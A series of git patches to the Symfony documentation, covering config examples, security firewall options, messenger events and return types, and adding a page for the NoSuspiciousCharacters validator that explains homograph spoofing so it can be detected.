Replace file entries from ../* to %kernel.project_dir%/* to make it work in both console and in controllers.
See https://stackoverflow.com/questions/75409892/symfony-file-environment-variable-processor-not-working-in-console-command?noredirect=1#comment133062312_75409892
---
 configuration/env_var_processors.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 2739433d9a9..19f05f3993b 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -399,7 +399,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(AUTH_FILE): '../config/auth.json'
+                env(AUTH_FILE): '%kernel.project_dir%/config/auth.json'
             google:
                 auth: '%env(file:AUTH_FILE)%'
 
@@ -440,7 +440,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(PHP_FILE): '../config/.runtime-evaluated.php'
+                env(PHP_FILE): '%kernel.project_dir%/config/.runtime-evaluated.php'
             app:
                 auth: '%env(require:PHP_FILE)%'
 
@@ -482,7 +482,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(AUTH_FILE): '../config/auth.json'
+                env(AUTH_FILE): '%kernel.project_dir%/config/auth.json'
             google:
                 auth: '%env(trim:file:AUTH_FILE)%'
 

From 732ae9e0063b88cea5feaa868cfe4909bc8c5591 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:01:46 +0100
Subject: [PATCH 4460/7107] Minor tweak

---
 reference/configuration/security.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 826363f317b..6e4b96c6860 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -902,7 +902,8 @@ multiple firewalls, the "context" could actually be shared:
 stateless
 ~~~~~~~~~
 
-Firewalls can configure a ``stateless`` boolean option in order to declare that the session mustn't be used when authenticating user:
+Firewalls can configure a ``stateless`` boolean option in order to declare that
+the session must not be used when authenticating users:
 
 .. configuration-block::
 

From 8d61936745cf3eb5b7d86ccb5208304b78beefd4 Mon Sep 17 00:00:00 2001
From: Nicolas Sauveur <nicolas.sauveur@gmail.com>
Date: Mon, 12 Dec 2022 12:10:36 +0100
Subject: [PATCH 4461/7107] [Security] Make login redirection logic available
 to programmatic login

---
 security.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 35949345fd7..8d4b394905b 100644
--- a/security.rst
+++ b/security.rst
@@ -1657,7 +1657,12 @@ You can log in a user programmatically using the ``login()`` method of the
             // you can also log in on a different firewall
             $security->login($user, 'form_login', 'other_firewall');
 
-            // ... redirect the user, e.g. to their account page
+            // use the redirection logic applied to regular login,
+            $redirectResponse = $security->login($user);
+            return $redirectResponse;
+            // or use a specific redirection logic
+            // (redirect the user to its account page for instance)
+            // ...
         }
     }
 

From f09c0c260e7ea573e40d4cd4e822835bcd68288e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:19:12 +0100
Subject: [PATCH 4462/7107] Tweaks

---
 security.rst | 12 ++++++++----
 1 file changed, 8 insertions(+), 4 deletions(-)

diff --git a/security.rst b/security.rst
index 8d4b394905b..55358acd704 100644
--- a/security.rst
+++ b/security.rst
@@ -1657,15 +1657,19 @@ You can log in a user programmatically using the ``login()`` method of the
             // you can also log in on a different firewall
             $security->login($user, 'form_login', 'other_firewall');
 
-            // use the redirection logic applied to regular login,
+            // use the redirection logic applied to regular login
             $redirectResponse = $security->login($user);
             return $redirectResponse;
-            // or use a specific redirection logic
-            // (redirect the user to its account page for instance)
-            // ...
+
+            // or use a custom redirection logic (e.g. redirect users to their account page)
+            // return new RedirectResponse('...');
         }
     }
 
+.. versionadded:: 6.3
+
+    The feature to use a custom redirection logic was introduced in Symfony 6.3.
+
 .. _security-logging-out:
 
 Logging Out

From 2497577fd7888822f5f1ea22f6fa14b55b607036 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 21 Mar 2023 17:43:04 +0100
Subject: [PATCH 4463/7107] Add the versionadded directive

---
 messenger.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4d4fe94216a..34e12bc473c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -761,9 +761,13 @@ the ``SIGTERM`` or ``SIGINT`` POSIX signals to finish processing their current
 message before terminating.
 
 However, you might prefer to use different POSIX signals for graceful shutdown.
-You can override default ones by setting ``framework.messenger.stop_worker_on_signals``
+You can override default ones by setting the ``framework.messenger.stop_worker_on_signals``
 configuration option.
 
+.. versionadded:: 6.3
+
+    The ``framework.messenger.stop_worker_on_signals`` option was introduced in Symfony 6.3.
+
 In some cases the ``SIGTERM`` signal is sent by Supervisor itself (e.g. stopping
 a Docker container having Supervisor as its entrypoint). In these cases you
 need to add a ``stopwaitsecs`` key to the program configuration (with a value

From bdc2da3d15113ca8305d350ee566d77ef1ef44e2 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 21 Mar 2023 20:40:41 +0100
Subject: [PATCH 4464/7107] [SecurityBundle] Request is stateless when firewall
 is stateless

---
 reference/configuration/security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index fec955b6ed7..aa3ba406a02 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -937,6 +937,12 @@ the session must not be used when authenticating users:
             // ...
         };
 
+Routes under this firewall will be :ref:`configured stateless <stateless-routing>`.
+
+.. versionadded:: 6.3
+
+    Stateless firewall marking routes stateless was introduced in Symfony 6.3.
+
 User Checkers
 ~~~~~~~~~~~~~
 

From 27f11f0fde0587d57495f61b83f72fbf3f685472 Mon Sep 17 00:00:00 2001
From: Alexis Lefebvre <alexislefebvre+github@gmail.com>
Date: Tue, 21 Mar 2023 00:28:35 +0100
Subject: [PATCH 4465/7107] smaller example for env(resolve:FOO)

---
 configuration/env_var_processors.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 2739433d9a9..2f795e9a4e4 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -311,8 +311,7 @@ Symfony provides the following env var processors:
 
             # config/packages/sentry.yaml
             parameters:
-                env(HOST): '10.0.0.1'
-                sentry_host: '%env(HOST)%'
+                sentry_host: '10.0.0.1'
                 env(SENTRY_DSN): 'http://%sentry_host%/project'
             sentry:
                 dsn: '%env(resolve:SENTRY_DSN)%'
@@ -327,8 +326,7 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/services/services-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(HOST)">10.0.0.1</parameter>
-                    <parameter key="sentry_host">%env(HOST)%</parameter>
+                    <parameter key="sentry_host">10.0.0.1</parameter>
                     <parameter key="env(SENTRY_DSN)">http://%sentry_host%/project</parameter>
                 </parameters>
 
@@ -338,8 +336,7 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/sentry.php
-            $container->setParameter('env(HOST)', '10.0.0.1');
-            $container->setParameter('sentry_host', '%env(HOST)%');
+            $container->setParameter('sentry_host', '10.0.0.1');
             $container->setParameter('env(SENTRY_DSN)', 'http://%sentry_host%/project');
             $container->loadFromExtension('sentry', [
                 'dsn' => '%env(resolve:SENTRY_DSN)%',

From c7e878833c84809adebf2369c10b1edbbff1242e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 21 Mar 2023 20:49:21 +0100
Subject: [PATCH 4466/7107] [CssSelector] Add support for :scope

---
 components/css_selector.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/components/css_selector.rst b/components/css_selector.rst
index 649a34293a4..fb599208c59 100644
--- a/components/css_selector.rst
+++ b/components/css_selector.rst
@@ -96,7 +96,11 @@ Pseudo-classes are partially supported:
 * Not supported: ``*:first-of-type``, ``*:last-of-type``, ``*:nth-of-type`` and
   ``*:nth-last-of-type`` (all these work with an element name (e.g.
   ``li:first-of-type``) but not with the ``*`` selector).
-* Supported: ``*:only-of-type``.
+* Supported: ``*:only-of-type``, ``*:scope``.
+
+.. versionadded:: 6.3
+
+    The support for ``*:scope`` was introduced in Symfony 6.3.
 
 Learn more
 ----------

From 647e9d05b946b6c48e86b037de896e0a897641ae Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 22 Mar 2023 13:50:19 +0100
Subject: [PATCH 4467/7107] [HttpFoundation] Add deprecation hint on `filter()`

---
 components/http_foundation.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index cdfcee2aae0..3a0f643dca2 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -158,6 +158,13 @@ has some methods to filter the input values:
 :method:`Symfony\\Component\\HttpFoundation\\ParameterBag::filter`
     Filters the parameter by using the PHP :phpfunction:`filter_var` function.
 
+    .. deprecated:: 6.3
+
+        Ignoring invalid values when using ``filter()`` is deprecated and will throw
+        a :class:`Symfony\\Component\\HttpKernel\\Exception\\BadRequestHttpException`
+        in Symfony 7.0. You can use the ``FILTER_NULL_ON_FAILURE`` flag to keep
+        ignoring them.
+
 All getters take up to two arguments: the first one is the parameter name
 and the second one is the default value to return if the parameter does not
 exist::

From e145728b14a6db6fc238106d5e51ef3afce5a01b Mon Sep 17 00:00:00 2001
From: Hugo Clergue <60431933+Hugo-pro404@users.noreply.github.com>
Date: Wed, 22 Mar 2023 14:06:43 +0100
Subject: [PATCH 4468/7107] Update access_control.rst

I've just corrected some description of the "Why ?" column of the table, because the ``access_control`` used didn't match their description, based on their numbers.
---
 security/access_control.rst | 13 +++++++------
 1 file changed, 7 insertions(+), 6 deletions(-)

diff --git a/security/access_control.rst b/security/access_control.rst
index 680c79b0840..81aae70c602 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -150,15 +150,16 @@ if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match the first rule, so the second      |
-|                 |             |             |             |            |                                | rule (which matches) is used.                               |
+| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match neither the first rule nor the     |
+|                 |             |             |             |            |                                | second rule. So the third rule (which matches) is used.     |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The second rule still matches. This would also match the    |
-|                 |             |             |             |            |                                | third rule (``ROLE_USER_METHOD``), but only the **first**   |
+| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The third rule still matches. This would also match the     |
+|                 |             |             |             |            |                                | fourth rule (``ROLE_USER_METHOD``), but only the **first**  |
 |                 |             |             |             |            |                                | matched ``access_control`` is used.                         |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first two entries,  |
-|                 |             |             |             |            |                                | but the third - ``ROLE_USER_METHOD`` - matches and is used. |
+| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first three         |
+|                 |             |             |             |            |                                | entries, but the fourth - ``ROLE_USER_METHOD`` - matches    |
+|                 |             |             |             |            |                                | and is used.                                                |
 +-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
 | ``/foo``        | 127.0.0.1   | 80          | symfony.com | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
 |                 |             |             |             |            |                                | URI doesn't match any of the ``path`` values.               |

From 58a7056e0151dd6b5c342f8a6dfaa519ba7a0a6a Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:27:06 +0100
Subject: [PATCH 4469/7107] Update upload_file.rst

Add string type as param and in function return
---
 controller/upload_file.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 46cf3230566..6d01a56dee0 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -29,12 +29,12 @@ add a PDF brochure for each product. To do so, add a new property called
          */
         private $brochureFilename;
 
-        public function getBrochureFilename()
+        public function getBrochureFilename(): string
         {
             return $this->brochureFilename;
         }
 
-        public function setBrochureFilename($brochureFilename)
+        public function setBrochureFilename(string $brochureFilename)
         {
             $this->brochureFilename = $brochureFilename;
 

From 3026beacce237a798b001b48680c24178a59efcf Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:30:06 +0100
Subject: [PATCH 4470/7107] Update upload_file.rst

Add response return type
---
 controller/upload_file.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index 6d01a56dee0..a98a7aa7e9f 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -128,6 +128,7 @@ Finally, you need to update the code of the controller that handles the form::
     use Symfony\Component\HttpFoundation\File\Exception\FileException;
     use Symfony\Component\HttpFoundation\File\UploadedFile;
     use Symfony\Component\HttpFoundation\Request;
+    use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
     use Symfony\Component\String\Slugger\SluggerInterface;
 
@@ -136,7 +137,7 @@ Finally, you need to update the code of the controller that handles the form::
         /**
          * @Route("/product/new", name="app_product_new")
          */
-        public function new(Request $request, SluggerInterface $slugger)
+        public function new(Request $request, SluggerInterface $slugger): Response
         {
             $product = new Product();
             $form = $this->createForm(ProductType::class, $product);

From ea0a512482dda53779e242fcab9a094a3b3ed7d5 Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:32:24 +0100
Subject: [PATCH 4471/7107] Update upload_file.rst

Fix return type string
---
 controller/upload_file.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/controller/upload_file.rst b/controller/upload_file.rst
index a98a7aa7e9f..ac96b4207bb 100644
--- a/controller/upload_file.rst
+++ b/controller/upload_file.rst
@@ -253,7 +253,7 @@ logic to a separate service::
             $this->slugger = $slugger;
         }
 
-        public function upload(UploadedFile $file)
+        public function upload(UploadedFile $file): string
         {
             $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME);
             $safeFilename = $this->slugger->slug($originalFilename);
@@ -268,7 +268,7 @@ logic to a separate service::
             return $fileName;
         }
 
-        public function getTargetDirectory()
+        public function getTargetDirectory(): string
         {
             return $this->targetDirectory;
         }

From 0f23790e3e3af0018846e80eb5387397828f37ad Mon Sep 17 00:00:00 2001
From: hbengamra <ha.ben.gamra@gmail.com>
Date: Sat, 18 Mar 2023 11:34:26 +0100
Subject: [PATCH 4472/7107] Update event_dispatcher.rst

Fix bug return type
---
 event_dispatcher.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/event_dispatcher.rst b/event_dispatcher.rst
index fbee0d5268d..3acf2caf5f7 100644
--- a/event_dispatcher.rst
+++ b/event_dispatcher.rst
@@ -255,7 +255,7 @@ listen to the same ``kernel.exception`` event::
 
     class ExceptionSubscriber implements EventSubscriberInterface
     {
-        public static function getSubscribedEvents()
+        public static function getSubscribedEvents(): array
         {
             // return the subscribed events, their methods and priorities
             return [

From b98faaaa3f74d61f03517f30aa7490eed6f678fb Mon Sep 17 00:00:00 2001
From: Ali Sunjaya <ali.sunjayaa@gmail.com>
Date: Tue, 14 Mar 2023 17:43:24 +0700
Subject: [PATCH 4473/7107] fix plural rules

---
 reference/formats/message_format.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/reference/formats/message_format.rst b/reference/formats/message_format.rst
index 1f99d1a2fdb..3e19567f5cd 100644
--- a/reference/formats/message_format.rst
+++ b/reference/formats/message_format.rst
@@ -223,7 +223,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
         num_of_apples: >-
             {apples, plural,
                 =0    {There are no apples}
-                one   {There is one apple...}
+                =1    {There is one apple...}
                 other {There are # apples!}
             }
 
@@ -236,7 +236,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
                 <body>
                     <trans-unit id="num_of_apples">
                         <source>num_of_apples</source>
-                        <target>{apples, plural, =0 {There are no apples} one {There is one apple...} other {There are # apples!}}</target>
+                        <target>{apples, plural, =0 {There are no apples} =1 {There is one apple...} other {There are # apples!}}</target>
                     </trans-unit>
                 </body>
             </file>
@@ -248,7 +248,7 @@ handle pluralization in your messages (e.g. ``There are 3 apples`` vs
         return [
             'num_of_apples' => '{apples, plural,
                 =0    {There are no apples}
-                one   {There is one apple...}
+                =1    {There is one apple...}
                 other {There are # apples!}
             }',
         ];

From 70e481743a4b244cd4187ca060cb449f3ef00a7c Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 7 Mar 2023 14:29:01 +0100
Subject: [PATCH 4474/7107] add `WorkerRateLimitedEvent`

---
 messenger.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 57d2c9f38aa..a7f22448549 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2498,10 +2498,15 @@ of the process. For each, the event class is the event name:
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerRateLimitedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
+.. versionadded:: 6.2
+
+    The ``WorkerRateLimitedEvent`` was introduced in Symfony 6.3.
+
 Multiple Buses, Command & Event Buses
 -------------------------------------
 

From da2abefe97fb72716b9d27553447eb0c736fe5d8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:15:22 +0100
Subject: [PATCH 4475/7107] Tweaks

---
 reference/configuration/security.rst | 12 +++++++++---
 1 file changed, 9 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index a6bdb342aeb..9f6e29247a0 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -433,10 +433,12 @@ clear_site_data
 
 **type**: ``array`` **default**: ``[]``
 
-The Clear-Site-Data header clears browsing data (cookies, storage, cache) associated with the requesting website.
-It allows web developers to have more control over the data stored by a client browser for their origins.
+The ``Clear-Site-Data`` HTTP header clears browsing data (cookies, storage, cache)
+associated with the requesting website. It allows web developers to have more
+control over the data stored by a client browser for their origins.
+
 Allowed values are ``cache``, ``cookies``, ``storage`` and ``executionContexts``.
-And it's possible to use ``*`` as a wildcard for all directives::
+It's also possible to use ``*`` as a wildcard for all directives:
 
 .. configuration-block::
 
@@ -494,6 +496,10 @@ And it's possible to use ``*`` as a wildcard for all directives::
             ],
         ]);
 
+.. versionadded:: 6.3
+
+    The ``clear_site_data`` option was introduced in Symfony 6.3.
+
 invalidate_session
 ~~~~~~~~~~~~~~~~~~
 

From e4d1b82a75c4ea934b172a7b732b8d7faaa0b734 Mon Sep 17 00:00:00 2001
From: MatTheCat <math.lechat@gmail.com>
Date: Wed, 8 Feb 2023 21:23:27 +0100
Subject: [PATCH 4476/7107] [Validator] Document the new
 `NoSuspiciousCharacters` constraint

---
 reference/constraints.rst                     |   1 +
 .../constraints/NoSuspiciousCharacters.rst    | 157 ++++++++++++++++++
 reference/constraints/map.rst.inc             |   1 +
 3 files changed, 159 insertions(+)
 create mode 100644 reference/constraints/NoSuspiciousCharacters.rst

diff --git a/reference/constraints.rst b/reference/constraints.rst
index 93339043bc4..67544bc45c3 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -79,6 +79,7 @@ Validation Constraints Reference
    constraints/Traverse
    constraints/CssColor
    constraints/Cascade
+   constraints/NoSuspiciousCharacters
 
 The Validator is designed to validate objects against *constraints*.
 In real life, a constraint could be: "The cake must not be burned". In
diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst
new file mode 100644
index 00000000000..a0b65cb6cd3
--- /dev/null
+++ b/reference/constraints/NoSuspiciousCharacters.rst
@@ -0,0 +1,157 @@
+NoSuspiciousCharacters
+======================
+
+.. versionadded:: 6.3
+
+    The ``NoSuspiciousCharacters`` constraint was introduced in Symfony 6.3.
+
+..
+
+    Because Unicode contains such a large number of characters and incorporates
+    the varied writing systems of the world, incorrect usage can expose programs
+    or systems to possible security attacks.
+
+    `Unicode® Technical Standard #39`_
+
+"symfony.com" and "ѕymfony.com" look similar, but the latter actually starts with a
+`cyrillic small letter dze`_. It could make a user think they'll navigate to Symfony's
+website, whereas it would be somewhere else.
+This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries to
+identify something as something else to exploit the resulting confusion.
+This is why it is recommended to check user-submitted, public-facing identifiers for
+suspicious characters in order to prevent such attacks.
+
+This constraint ensures strings or :phpclass:`Stringable`s do not include any
+suspicious characters. As it leverages PHP's :phpclass:`Spoofchecker`, the intl
+extension must be enabled to use it.
+
+==========  ===================================================================
+Applies to  :ref:`property or method <validation-property-target>`
+Class       :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousCharacters`
+Validator   :class:`Symfony\\Component\\Validator\\Constraints\\NoSuspiciousCharactersValidator`
+==========  ===================================================================
+
+Basic Usage
+-----------
+
+The following constraint will ensures a username cannot be spoofed by using many
+detection mechanisms:
+
+.. configuration-block::
+
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NoSuspiciousCharacters]
+            private string $username;
+        }
+
+    .. code-block:: yaml
+
+        # config/validator/validation.yaml
+        App\Entity\User:
+            properties:
+                username:
+                    - NoSuspiciousCharacters: ~
+
+    .. code-block:: xml
+
+        <!-- config/validator/validation.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <constraint-mapping xmlns="http://symfony.com/schema/dic/constraint-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/constraint-mapping https://symfony.com/schema/dic/constraint-mapping/constraint-mapping-1.0.xsd">
+
+            <class name="App\Entity\User">
+                <property name="username">
+                    <constraint name="NoSuspiciousCharacters"/>
+                </property>
+            </class>
+        </constraint-mapping>
+
+    .. code-block:: php
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+        use Symfony\Component\Validator\Mapping\ClassMetadata;
+
+        class User
+        {
+            public static function loadValidatorMetadata(ClassMetadata $metadata)
+            {
+                $metadata->addPropertyConstraint('username', new Assert\NoSuspiciousCharacters());
+            }
+        }
+
+.. include:: /reference/constraints/_empty-values-are-valid.rst.inc
+
+Options
+-------
+
+``checks``
+~~~~~~~~~~
+
+**type**: ``integer`` **default**: all
+
+This option is a bitmask of the checks you want to perform on the string:
+
+* ``NoSuspiciousCharacters::CHECK_INVISIBLE`` checks for the presence of invisible characters such as zero-width spaces, or character sequences that are likely not to display, such as multiple occurrences of the same non-spacing mark.
+* ``NoSuspiciousCharacters::CHECK_MIXED_NUMBERS`` (usable with ICU 58 or higher) checks for numbers from different numbering systems.
+* ``NoSuspiciousCharacters::CHECK_HIDDEN_OVERLAY`` (usable with ICU 62 or higher) checks for combining characters hidden in their preceding one.
+
+You can also configure additional requirements using :ref:`locales <locales>` and
+:ref:`restrictionLevel <restrictionlevel>`.
+
+``locales``
+~~~~~~~~~~~
+
+**type**: ``array`` **default**: :ref:`framework.enabled_locales <reference-enabled-locales>`
+
+Restrict the string's characters to those normally used with the associated languages.
+
+For example, the character "π" would be considered suspicious if you restricted the
+locale to "English", because the Greek script is not associated with it.
+
+Passing an empty array, or configuring :ref:`restrictionLevel <restrictionlevel>` to
+``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE`` will disable this requirement.
+
+``restrictionLevel``
+~~~~~~~~~~~~~~~~~~~~
+
+**type**: ``integer`` **default**: ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` on ICU >= 58, otherwise ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT``
+
+Configures the set of acceptable characters for the validated string through a
+specified "level":
+
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MINIMAL`` requires the string's characters to match :ref:`the configured locales <locales>`'.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_MODERATE`` also requires the string to be `covered`_ by Latin and any one other `Recommended`_ or `Limited Use`_ script, except Cyrillic, Greek, and Cherokee.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_HIGH`` (usable with ICU 58 or higher) also requires the string to be `covered`_ by any of the following sets of scripts:
+
+  * Latin + Han + Bopomofo (or equivalently: Latn + Hanb)
+  * Latin + Han + Hiragana + Katakana (or equivalently: Latn + Jpan)
+  * Latin + Han + Hangul (or equivalently: Latn + Kore)
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_SINGLE_SCRIPT`` also requires the string to be `single-script`_.
+* ``NoSuspiciousCharacters::RESTRICTION_LEVEL_ASCII`` (usable with ICU 58 or higher) also requires the string's characters to be in the ASCII range.
+
+You can accept all characters by setting this option to
+``NoSuspiciousCharacters::RESTRICTION_LEVEL_NONE``.
+
+.. include:: /reference/constraints/_groups-option.rst.inc
+
+.. include:: /reference/constraints/_payload-option.rst.inc
+
+.. _`Unicode® Technical Standard #39`: https://unicode.org/reports/tr39/
+.. _`cyrillic small letter dze`: https://graphemica.com/%D1%95
+.. _`spoofing attack`: https://en.wikipedia.org/wiki/Spoofing_attack
+.. _`single-script`: https://unicode.org/reports/tr39/#def-single-script
+.. _`covered`: https://unicode.org/reports/tr39/#def-cover
+.. _`Recommended`: https://www.unicode.org/reports/tr31/#Table_Recommended_Scripts
+.. _`Limited Use`: https://www.unicode.org/reports/tr31/#Table_Limited_Use_Scripts
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 6df4ecac1d4..1c16d47f81d 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -29,6 +29,7 @@ String Constraints
 * :doc:`UserPassword </reference/constraints/UserPassword>`
 * :doc:`NotCompromisedPassword </reference/constraints/NotCompromisedPassword>`
 * :doc:`CssColor </reference/constraints/CssColor>`
+* :doc:`NoSuspiciousCharacters </reference/constraints/NoSuspiciousCharacters>`
 
 Comparison Constraints
 ~~~~~~~~~~~~~~~~~~~~~~

From 4d299484317f7e5b349d2af4d290b0c36cb479ca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 22 Mar 2023 17:44:36 +0100
Subject: [PATCH 4477/7107] Tweaks and minor fixes

---
 .../constraints/NoSuspiciousCharacters.rst    | 64 +++++++++++--------
 1 file changed, 38 insertions(+), 26 deletions(-)

diff --git a/reference/constraints/NoSuspiciousCharacters.rst b/reference/constraints/NoSuspiciousCharacters.rst
index a0b65cb6cd3..cfc23141553 100644
--- a/reference/constraints/NoSuspiciousCharacters.rst
+++ b/reference/constraints/NoSuspiciousCharacters.rst
@@ -5,25 +5,27 @@ NoSuspiciousCharacters
 
     The ``NoSuspiciousCharacters`` constraint was introduced in Symfony 6.3.
 
-..
+Validates that the given string does not contain characters used in spoofing
+security attacks, such as invisible characters such as zero-width spaces or
+characters that are visually similar.
 
-    Because Unicode contains such a large number of characters and incorporates
-    the varied writing systems of the world, incorrect usage can expose programs
-    or systems to possible security attacks.
+"symfony.com" and "ѕymfony.com" look similar, but their first letter is different
+(in the second string, the "s" is actually a `cyrillic small letter dze`_).
+This can make a user think they'll navigate to Symfony's website, whereas it
+would be somewhere else.
 
-    `Unicode® Technical Standard #39`_
+This is a kind of `spoofing attack`_ (called "IDN homograph attack"). It tries
+to identify something as something else to exploit the resulting confusion.
+This is why it is recommended to check user-submitted, public-facing identifiers
+for suspicious characters in order to prevent such attacks.
 
-"symfony.com" and "ѕymfony.com" look similar, but the latter actually starts with a
-`cyrillic small letter dze`_. It could make a user think they'll navigate to Symfony's
-website, whereas it would be somewhere else.
